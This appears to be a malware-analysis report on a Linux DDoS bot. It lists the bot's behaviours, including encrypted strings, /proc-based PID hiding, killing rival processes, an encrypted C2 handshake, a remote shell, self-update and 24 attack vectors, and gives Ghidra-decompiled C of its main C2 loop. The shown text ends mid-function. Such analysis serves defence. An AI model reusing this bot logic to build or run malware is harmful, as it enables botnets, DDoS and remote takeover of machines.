  • downloads a file over a TCP request and…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d → 0x40c527 → self-update 0x40c42a → downloads a file over a TCP request and… 0x40b89c
  • self-update: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d → 0x40c527 → self-update 0x40c42a
  • returns the decrypted store entry for a…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sets up the shared read-only marker page 0x40c8fe → returns the decrypted store entry for a… 0x40c607
  • maps a marker fd 0x1000 bytes PROT_READ…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sets up the shared read-only marker page 0x40c8fe → maps a marker fd 0x1000 bytes PROT_READ… 0x40c63d
  • scans per-process /proc files for a…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sets up the shared read-only marker page 0x40c8fe → scans per-process /proc files for a… 0x40c6f4
  • sets up the shared read-only marker page: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sets up the shared read-only marker page 0x40c8fe
  • /proc walker with readlink and kill: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → single-instance lock on a loopback TCP… 0x412d78 → /proc walker with readlink and kill 0x40cb5a
  • runs a program through pipe/fork/execve…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12 → learns the user and home values for the… 0x40a57f → runs a program through pipe/fork/execve… 0x40d2bf
  • local address via UDP connect to a…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → local address via UDP connect to a… 0x40d3e8
  • chaCha20 stream cipher, used for the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → fills the 476-slot string store with… 0x40dba0 → copies one store entry into its slot… 0x40d8fa → chaCha20 stream cipher, used for the… 0x40d6c6
  • copies one store entry into its slot…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → fills the 476-slot string store with… 0x40dba0 → copies one store entry into its slot… 0x40d8fa
  • adds and decrypts an entry of the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → fills the 476-slot string store with… 0x40dba0 → adds and decrypts an entry of the… 0x40dae1
  • fills the 476-slot string store with…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → fills the 476-slot string store with… 0x40dba0
  • derives the C2 peer X25519 public key…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → C2 session handshake state step 0x411ca1 → derives the C2 peer X25519 public key… 0x411361
  • unknown: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → C2 session handshake state step 0x411ca1 → 0x41277f → 0x411944 → unknown 0x411824
  • C2 session hello: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → builds the registration record with… 0x4132d0 → C2 session hello 0x411a32
  • C2 session handshake state step: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → C2 session handshake state step 0x411ca1
  • checks header type, length and sequence…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → receives and de-frames C2 messages in… 0x41215b → checks header type, length and sequence… 0x412010
  • sends a framed C2 message in session…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sends a framed C2 message in session… 0x4120f1
  • receives and de-frames C2 messages in…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → receives and de-frames C2 messages in… 0x41215b
  • unknown: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → builds the registration record with… 0x4132d0 → 0x412649 → unknown 0x412385
  • unknown: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → sends a framed C2 message in session… 0x4120f1 → 0x4129d6 → unknown 0x412677
  • verifies a received session frame: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → receives and de-frames C2 messages in… 0x41215b → verifies a received session frame 0x412ad8
  • single-instance lock on a loopback TCP…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → single-instance lock on a loopback TCP… 0x412d78
  • selects the C2 host from store slots…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → selects the C2 host from store slots… 0x413189
  • builds the registration record with…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → builds the registration record with… 0x4132d0
  • overwrites argv[0] with a store process…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → overwrites argv[0] with a store process… 0x4139d0
  • picks a random C2 port from the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → picks a random C2 port from the… 0x413aaa
  • resolves the C2 name: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → selects the C2 host from store slots… 0x413189 → 0x4143a1 → resolves the C2 name 0x414193
  • bind-mounts a donor /proc/<pid> over…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → as root, sets non-dumpable and a random… 0x414dca → finds a donor process in /proc by store… 0x414879 → bind-mounts a donor /proc/<pid> over… 0x41479d
  • finds a donor process in /proc by store…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → as root, sets non-dumpable and a random… 0x414dca → finds a donor process in /proc by store… 0x414879
  • as root, sets non-dumpable and a random…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → as root, sets non-dumpable and a random… 0x414dca
  • /proc walker that kills matching…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4163d6 → /proc walker that kills matching… 0x415fc6
  • /proc walker with readlink: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x417403 → /proc walker with readlink 0x41720d

Code 43

Decompiled from the sample and the layers unpacking recovered, by the render step (not the analyst): Ghidra for native code (C and annotated assembly), ILSpy for .NET (C# and IL). FUN_… names are replaced by the report's names where it gives one. In the assembly, highlighted rows are addresses the evidence cites.

Index · 43 functions
FunctionAddressLayerSizeCited asPurposeBehaviours
FUN_004001d00x4001d0L02479E1main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file); B3 Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]; B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B2, B3, B6
FUN_00400cd70x400cd7L084E6kills every tracked child pid except itself and its worker · behaviours: B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on commandB5, B8, B9
FUN_00400d2b0x400d2bL0594E7forks the attack worker and calls the vector from the method table · behaviours: B8 DDoS on command: 24 attack vectors dispatched from a static {id, fn} table, each in a forked worker for a set durationB8
FUN_00400f7d0x400f7dL0644E6parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates · behaviours: B8 DDoS on command: 24 attack vectors dispatched from a static {id, fn} table, each in a forked worker for a set duration; B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on command; B9 Self-update on command: downloads a file, chmod 0755, execveB5, B8, B9
FUN_0040a57f0x40a57fL0747E27learns the user and home values for the shell by running store-named programs and reading store-named files · behaviours: B10 Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uidB10
FUN_0040a86a0x40a86aL0222E27finds the account-file entry whose uid equals getuid() · behaviours: B10 Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uidB10
FUN_0040a9480x40a948L0195E26ends the remote shell session · behaviours: B11 Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallbackB11
FUN_0040aa120x40aa12L01459E26remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command · behaviours: B11 Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallbackB11
FUN_0040b0fb0x40b0fbL0106E28parses the shell message header (subtype, length, payload) · behaviours: B11 Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallbackB11
FUN_0040b89c0x40b89cL02893E13downloads a file over a TCP request and writes it to disk · behaviours: B9 Self-update on command: downloads a file, chmod 0755, execveB9
FUN_0040c42a0x40c42aL0253E13self-update: download to a store path, chmod 0755, execve · behaviours: B9 Self-update on command: downloads a file, chmod 0755, execveB9
FUN_0040c6070x40c607L054E2returns the decrypted store entry for a slot id · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format stringsB1
FUN_0040c63d0x40c63dL054E33maps a marker fd 0x1000 bytes PROT_READ MAP_PRIVATE into 0x62bdc0 · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)B2
FUN_0040c6f40x40c6f4L0522E33scans per-process /proc files for a matching marker mapping and opens it · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)B2
FUN_0040c8fe0x40c8feL0372E33sets up the shared read-only marker page: existing file, /proc-found mapping, memfd or 0600 file · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)B2
FUN_0040cb5a0x40cb5aL0969E19/proc walker with readlink and kill (syscall profile) · behaviours: B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on commandB5, B10
FUN_0040d2bf0x40d2bfL0297E20, E27runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f · behaviours: B10 Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uidB10
FUN_0040d3e80x40d3e8L0142E10local address via UDP connect to a public resolver and getsockname · behaviours: B7 Registers with system information: CPU count, memory size, uname, euid, local addressB7
FUN_0040d6c60x40d6c6L0564E3, E32ChaCha20 stream cipher, used for the string store and for C2 session frames · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format strings; B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B1, B6
FUN_0040d8fa0x40d8faL0487E2copies one store entry into its slot and decrypts it in place · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format stringsB1
FUN_0040dae10x40dae1L0141E2adds and decrypts an entry of the second store table at 0x62e640 · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format stringsB1
FUN_0040dba00x40dba0L010884E2fills the 476-slot string store with 473 encrypted entries · behaviours: B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format stringsB1
FUN_004113610x411361L092E16, E31derives the C2 peer X25519 public key from 32 embedded bytes (hash, clamp, base-point multiply) · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
unknown0x411824L0253E16unknown (capa HMAC lead, not read (U2))B6
FUN_00411a320x411a32L0587E16, E31C2 session hello: X25519 ephemeral key, shared secret, key expansion, encrypts the registration payload · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
FUN_00411ca10x411ca1L0663E15C2 session handshake state step · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
FUN_004120100x412010L0225E15, E32checks header type, length and sequence of a received frame in the second session mode and opens it via 0x411680 · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
FUN_004120f10x4120f1L0106E15sends a framed C2 message in session mode · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
FUN_0041215b0x41215bL0366E15receives and de-frames C2 messages in the session mode · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
unknown0x412385L0363E16unknown (capa Curve25519 lead; called from 0x412649, which then sleeps 5-45 s; not read (U2))B6
unknown0x412677L0264E16unknown (capa HMAC lead; computes the 16-byte frame tag for 0x412ad8 (E32), primitive not read (U2))B6
FUN_00412ad80x412ad8L0309E32verifies a received session frame (header, sequence, 16-byte tag with a derived MAC key) and ChaCha20-decrypts it · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
FUN_00412d780x412d78L01041E9single-instance lock on a loopback TCP port · behaviours: B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)B2
FUN_004131890x413189L0327E29selects the C2 host from store slots 0-7 and resolves up to 32 addresses · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
FUN_004132d00x4132d0L01512E14, E31builds the registration record with system information and sends it inside the session hello · behaviours: B7 Registers with system information: CPU count, memory size, uname, euid, local address; B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6, B7
FUN_004139d00x4139d0L0218E11overwrites argv[0] with a store process name padded with spaces · behaviours: B3 Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]B3
FUN_00413aaa0x413aaaL054E29, E30picks a random C2 port from the 14-entry table at 0x4287e0 · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
FUN_004141930x414193L0526E17resolves the C2 name: literal, getaddrinfo, else own DNS to an 18-entry resolver table · behaviours: B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)B6
FUN_0041479d0x41479dL0220E12bind-mounts a donor /proc/<pid> over its own · behaviours: B4 Hides its pid by bind-mounting another process's /proc directory over its own (root only)B4
FUN_004148790x414879L01356E12finds a donor process in /proc by store names and hides behind it · behaviours: B4 Hides its pid by bind-mounting another process's /proc directory over its own (root only)B4
FUN_00414dca0x414dcaL0601E11as root, sets non-dumpable and a random store process name · behaviours: B3 Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]B3
FUN_00415fc60x415fc6L0723E19/proc walker that kills matching processes (syscall profile) · behaviours: B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on commandB5, B10
FUN_0041720d0x41720dL0502E19/proc walker with readlink (syscall profile) · behaviours: B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on commandB5, B10

main

0x4001d02479 bytes
undefined FUN_004001d0()

main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop

Cited as
E1
Behaviours
B2, B3, B6
Called from
FUN_004001d0, FUN_00400d2b, FUN_00412d78, FUN_00413988, FUN_00417a32
Calls
FUN_004001d0, FUN_0040aa0b, FUN_0040afc5, FUN_0040c3e9, FUN_0040c8fe, FUN_0040ca72, FUN_0040caad, FUN_0040cb53, FUN_0040cf7c, FUN_0040cf8f, FUN_0040d152, thunk_FUN_0040d215, FUN_0040d3e8, FUN_0040d665, FUN_0040db6e, FUN_0040db98, FUN_0040dba0, FUN_00411ca1, FUN_004120f1, FUN_0041215b, FUN_00412c3b, FUN_00412c75, FUN_00412c9a, FUN_00412d78, FUN_00413189
Decompiled C · 372 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004001d0(int param_1,long param_2)

{
  char cVar1;
  int iVar2;
  undefined4 uVar3;
  uint uVar4;
  uint uVar5;
  long *plVar6;
  long lVar7;
  ulong uVar8;
  int *piVar9;
  int iVar10;
  int iVar11;
  undefined1 *puVar12;
  undefined1 *puVar13;
  undefined8 uVar14;
  ulong *puVar15;
  bool bVar16;
  byte bVar17;
  int local_994;
  undefined8 local_990;
  undefined8 local_988;
  ulong local_980 [2];
  undefined1 local_970 [32];
  ulong local_950 [16];
  ulong local_8d0 [16];
  ulong local_850 [257];
  
  bVar17 = 0;
  FUN_00417c4a();
  FUN_00417c4b();
  FUN_00424e09();
  FUN_0041e18c();
  FUN_0041dd39(0,0);
  FUN_0040dba0();
  FUN_00413988();
  FUN_0040c8fe();
  FUN_0041c0ca(local_850);
  FUN_0041c09b(local_850,2);
  FUN_0041c0d4(0x11,1);
  FUN_0041c0d4(1,1);
  FUN_0041c0d4(0x14,1);
  FUN_0041c0d4(0x15,1);
  FUN_0041c0d4(0x16,1);
  FUN_0041c12d(0,local_850,0);
  FUN_0041db2f(&DAT_00424e60);
  DAT_0062f0a0 = FUN_0040d3e8();
  thunk_FUN_0040d215(local_970,0x20);
  if ((param_1 < 2) || (iVar2 = FUN_0040cf7c(*(undefined8 *)(param_2 + 8)), 0x1f < iVar2)) {
    puVar12 = *(undefined1 **)(DAT_0062e6f0 + 0xef0);
    if ((puVar12 == (undefined1 *)0x0) ||
       (uVar8 = (ulong)*(uint *)(DAT_0062e6f0 + 0xef8), puVar13 = local_970,
       (int)*(uint *)(DAT_0062e6f0 + 0xef8) < 1)) {
      local_970[0] = 0x6c;
    }
    else {
      for (; uVar8 != 0; uVar8 = uVar8 - 1) {
        *puVar13 = *puVar12;
        puVar12 = puVar12 + (ulong)bVar17 * -2 + 1;
        puVar13 = puVar13 + (ulong)bVar17 * -2 + 1;
      }
    }
  }
  else {
    FUN_0040d152(local_970,*(undefined8 *)(param_2 + 8));
    uVar3 = FUN_0040cf7c(*(undefined8 *)(param_2 + 8));
    thunk_FUN_0040d215(*(undefined8 *)(param_2 + 8),uVar3);
  }
  FUN_0040c3e9(local_970);
  FUN_004139d0(param_2);
  thunk_FUN_00414442();
  iVar2 = FUN_0041dc31();
  bVar16 = iVar2 == 0;
  if ((!bVar16) && (iVar2 = FUN_0041bc03(2,3,6), -1 < iVar2)) {
    FUN_0041db41(iVar2);
    bVar16 = true;
  }
  FUN_0040cb53(bVar16);
  FUN_00412d78();
  FUN_0040ca72();
  FUN_0040db6e();
  plVar6 = (long *)FUN_0040db98();
  if (((plVar6 != (long *)0x0) && (*plVar6 != 0)) && (0 < (int)plVar6[1])) {
    FUN_0041ddd5(1);
    FUN_0041ddd5(1,&DAT_00426e4d,1);
  }
  iVar2 = FUN_0041bdde();
  if (0 < iVar2) {
    return 0;
  }
  FUN_0041dd51();
  FUN_0041db41(0);
  FUN_0041db41(1);
  FUN_0041db41(2);
  FUN_0041632e();
  lVar7 = FUN_0040cf8f();
  if (lVar7 != 0) {
    FUN_004155cb(lVar7);
    FUN_004171a7(lVar7);
    thunk_FUN_004183e7(lVar7);
  }
  FUN_004163d6();
  FUN_00417403();
  DAT_0062efd4 = DAT_006bc2a0;
  uVar3 = FUN_0041dc97();
  FUN_00414dca(uVar3);
  FUN_0040c8fe();
  lVar7 = FUN_0040cf8f();
  if (lVar7 != 0) {
    FUN_004155cb(lVar7);
    FUN_004171a7(lVar7);
    thunk_FUN_004183e7(lVar7);
  }
  iVar2 = 0;
LAB_00400469:
  do {
    do {
      puVar15 = local_950;
      for (lVar7 = 0x20; lVar7 != 0; lVar7 = lVar7 + -1) {
        *(undefined4 *)puVar15 = 0;
        puVar15 = (ulong *)((long)puVar15 + ((ulong)bVar17 * -2 + 1) * 4);
      }
      puVar15 = local_8d0;
      for (lVar7 = 0x20; lVar7 != 0; lVar7 = lVar7 + -1) {
        *(undefined4 *)puVar15 = 0;
        puVar15 = (ulong *)((long)puVar15 + ((ulong)bVar17 * -2 + 1) * 4);
      }
      if (DAT_0062ba28 != 0xffffffff) {
        local_950[(ulong)(long)(int)DAT_0062ba28 >> 6] = 1L << ((byte)DAT_0062ba28 & 0x3f);
      }
      if ((DAT_0062ba24 == 0xffffffff) &&
         (DAT_0062ba24 = FUN_0041bc03(2,1,0), DAT_0062ba24 != 0xffffffff)) {
        uVar4 = FUN_00417c6e(DAT_0062ba24,3,0);
        FUN_00417c6e(DAT_0062ba24,4,uVar4 | 0x800);
        _DAT_0062f090 = 2;
        if (DAT_0062efe0 == '\0') {
          uVar14 = 0;
LAB_00400520:
          cVar1 = FUN_00413189(uVar14);
          if ((cVar1 != '\0') && (DAT_0062efe0 != '\0')) goto LAB_0040054b;
LAB_0040052f:
          if (DAT_0062f068 != '\0') {
            DAT_0062f094 = DAT_0062f06c;
            _DAT_0062f092 = (undefined2)DAT_0062f070;
            goto LAB_0040061a;
          }
          DAT_0062f094 = 0;
        }
        else {
          cVar1 = FUN_00412c3b();
          uVar14 = 1;
          if (cVar1 == '\0') goto LAB_00400520;
LAB_0040054b:
          if (DAT_0062efe1 == 0) goto LAB_0040052f;
          uVar4 = 0;
          iVar10 = 0;
          do {
            if ((1 << ((byte)iVar10 & 0x1f) & DAT_0062efe4) == 0) {
              lVar7 = (long)(int)uVar4;
              uVar4 = uVar4 + 1;
              *(int *)((long)local_850 + lVar7 * 4) = iVar10;
            }
            iVar10 = iVar10 + 1;
          } while (iVar10 < (int)(uint)DAT_0062efe1);
          if (uVar4 == 0) {
            cVar1 = FUN_00413189(1);
            if (cVar1 != '\0') {
              uVar4 = (uint)DAT_0062efe1;
              for (lVar7 = 0; (int)lVar7 < (int)uVar4; lVar7 = lVar7 + 1) {
                *(int *)((long)local_850 + lVar7 * 4) = (int)lVar7;
              }
              if (uVar4 != 0) goto LAB_004005af;
            }
            goto LAB_0040052f;
          }
LAB_004005af:
          uVar8 = FUN_0040caad();
          iVar10 = *(int *)((long)local_850 + ((uVar8 & 0xffffffff) % (ulong)uVar4) * 4);
          DAT_0062efe2 = (undefined1)iVar10;
          DAT_0062f094 = (&DAT_0062efe8)[iVar10];
          _DAT_0062f092 = FUN_00413aaa();
          DAT_0062f068 = '\x01';
          DAT_0062f070 = CONCAT22(DAT_0062f070._2_2_,_DAT_0062f092);
LAB_0040061a:
          DAT_0062f06c = DAT_0062f094;
          if (DAT_0062f094 != 0) {
            DAT_0062f080 = '\x01';
            iVar10 = FUN_00419689(DAT_0062ba24,&DAT_0062f090,0x10);
            if (iVar10 == 0) {
              DAT_0062f080 = '\0';
            }
            goto LAB_00400650;
          }
        }
        FUN_0041db41(DAT_0062ba24);
        DAT_0062ba24 = 0xffffffff;
      }
LAB_00400650:
      if (DAT_0062ba24 != 0xffffffff) {
        uVar8 = 1L << ((byte)DAT_0062ba24 & 0x3f);
        if (DAT_0062f080 == '\0') {
          local_950[(ulong)(long)(int)DAT_0062ba24 >> 6] =
               local_950[(ulong)(long)(int)DAT_0062ba24 >> 6] | uVar8;
        }
        else {
          local_8d0[(ulong)(long)(int)DAT_0062ba24 >> 6] =
               local_8d0[(ulong)(long)(int)DAT_0062ba24 >> 6] | uVar8;
        }
      }
      iVar10 = FUN_0040aa0b();
      if (-1 < iVar10) {
        local_950[(ulong)(long)iVar10 >> 6] =
             local_950[(ulong)(long)iVar10 >> 6] | 1L << ((byte)iVar10 & 0x3f);
      }
      uVar4 = DAT_0062ba28;
      if ((DAT_0062ba24 != 0xffffffff) && ((int)DAT_0062ba28 < (int)DAT_0062ba24)) {
        uVar4 = DAT_0062ba24;
      }
      uVar5 = FUN_0040aa0b();
      if ((int)uVar4 < (int)uVar5) {
        uVar4 = uVar5;
      }
    } while (uVar4 == 0xffffffff);
    local_988 = 0;
    if (((DAT_0062e704 == '\0') || (local_990 = 1, DAT_0062e700 != '\0')) &&
       (local_990 = 3, DAT_0062ba24 != 0xffffffff)) {
      local_990 = 0xf;
    }
    iVar10 = FUN_0041bf98(uVar4 + 1,local_950,local_8d0,0,&local_990);
  } while (iVar10 == -1);
  if (iVar10 == 0) {
    iVar10 = FUN_0040aa0b();
    if (-1 < iVar10) {
      FUN_0040afc5(&LAB_00412d73,0);
    }
    if ((DAT_0062ba24 != 0xffffffff) &&
       (iVar10 = iVar2 + 1, iVar11 = iVar2 % 6, iVar2 = iVar10, iVar11 == 0)) {
      if (DAT_0062e700 == '\0') {
        if (DAT_0062e704 == '\0') {
          local_850[0]._0_4_ = (uint)local_850[0] & 0xffff0000;
          FUN_0041bba3(DAT_0062ba24,local_850,2,0x4000);
        }
      }
      else {
        FUN_004120f1(DAT_0062ba24,&DAT_00428800,0x12);
      }
    }
    if (((DAT_0062e704 == '\0') || (DAT_0062e700 != '\0')) ||
       ((DAT_0062f078 == 0 || (lVar7 = FUN_0041daf0(0), lVar7 <= DAT_0062f078)))) goto LAB_004007d9;
  }
  else {
LAB_004007d9:
    uVar8 = FUN_0040aa0b();
    if ((-1 < (int)uVar8) && ((local_950[(ulong)(long)(int)uVar8 >> 6] >> (uVar8 & 0x3f) & 1) != 0))
    {
      FUN_0040afc5(&LAB_00412d73,0);
    }
    if ((DAT_0062ba28 != 0xffffffff) &&
       ((local_950[(ulong)(long)(int)DAT_0062ba28 >> 6] >> ((ulong)DAT_0062ba28 & 0x3f) & 1) != 0))
    {
      local_980[0] = CONCAT44(local_980[0]._4_4_,0x10);
      FUN_0041963a((ulong)DAT_0062ba28,local_850,local_980);
      FUN_0041db41(DAT_0062ba28);
      DAT_0062ba28 = 0xffffffff;
      if (0 < DAT_0062efd4) {
        FUN_0041c083(DAT_0062efd4,9);
      }
      FUN_00415de7();
      FUN_0041dd63(1);
      FUN_004001d0(0);
    }
    uVar8 = (ulong)DAT_0062ba24;
    if (DAT_0062f080 != '\0') {
      DAT_0062f080 = '\0';
      if (((local_8d0[(ulong)(long)(int)DAT_0062ba24 >> 6] >> (uVar8 & 0x3f) & 1) == 0) &&
         ((local_950[(ulong)(long)(int)DAT_0062ba24 >> 6] >> (ulong)(DAT_0062ba24 & 0x3f) & 1) == 0)
         ) {
        FUN_00412c75();
        FUN_00412c9a();
      }
      else {
        local_994 = 0;
        local_980[0] = CONCAT44(local_980[0]._4_4_,4);
        FUN_00419ae7(uVar8,1,4,&local_994,local_980);
        if (local_994 == 0) {
          local_850[0]._0_4_ = 1;
          FUN_0041bbdf(DAT_0062ba24,6,1,local_850,4);
          FUN_004132d0(DAT_0062ba24,local_970);
        }
        else {
          FUN_00412c75();
          FUN_0041db41(DAT_0062ba24);
          DAT_0062ba24 = 0xffffffff;
          uVar8 = FUN_0040caad();
          FUN_0041dd63((int)((uVar8 & 0xffffffff) % 10) + 1);
        }
      }
      goto LAB_00400469;
    }
    if ((DAT_0062ba24 == 0xffffffff) ||
       ((local_950[(ulong)(long)(int)DAT_0062ba24 >> 6] >> (uVar8 & 0x3f) & 1) == 0))
    goto LAB_00400469;
    if (DAT_0062e700 != '\0') {
      iVar10 = 0x10;
      do {
        local_980[0] = local_980[0] & 0xffffffff00000000;
        iVar11 = FUN_0041215b(DAT_0062ba24,local_850,0x800,local_980);
        if (iVar11 != 1) {
          if (iVar11 < 0) goto LAB_00400b20;
          break;
        }
        FUN_004138f6(local_850,local_980[0] & 0xffffffff);
        iVar10 = iVar10 + -1;
      } while (iVar10 != 0);
      goto LAB_00400469;
    }
    if (DAT_0062e704 != '\0') {
      iVar10 = 0x21;
      while (iVar10 = iVar10 + -1, iVar10 != 0) {
        iVar11 = FUN_00411ca1(DAT_0062ba24);
        if (iVar11 != 0) {
          if (iVar11 < 0) goto LAB_00400b20;
          if ((iVar11 == 1) && (DAT_0062f078 = 0, DAT_0062e700 != '\0')) {
            iVar10 = 0x10;
            goto LAB_00400aab;
          }
          break;
        }
        puVar15 = local_850;
        for (lVar7 = 0x20; lVar7 != 0; lVar7 = lVar7 + -1) {
          *(undefined4 *)puVar15 = 0;
          puVar15 = (ulong *)((long)puVar15 + ((ulong)bVar17 * -2 + 1) * 4);
        }
        local_980[0] = 0;
        local_980[1] = 0;
        local_850[(ulong)(long)(int)DAT_0062ba24 >> 6] = 1L << ((byte)DAT_0062ba24 & 0x3f);
        iVar11 = FUN_0041bf98(DAT_0062ba24 + 1,local_850,0,0,local_980);
        if ((iVar11 < 1) ||
           ((local_850[(ulong)(long)(int)DAT_0062ba24 >> 6] >> ((long)(int)DAT_0062ba24 & 0x3fU) & 1
            ) == 0)) break;
      }
      goto LAB_00400469;
    }
    piVar9 = (int *)FUN_00417c3c();
    *piVar9 = 0;
    iVar10 = FUN_0041b0ec(DAT_0062ba24,local_850,0x400,0x4000);
    if (0 < iVar10) {
      FUN_0040d665(local_850,iVar10,0xdeaffed);
      FUN_004138f6(local_850,iVar10);
      goto LAB_00400469;
    }
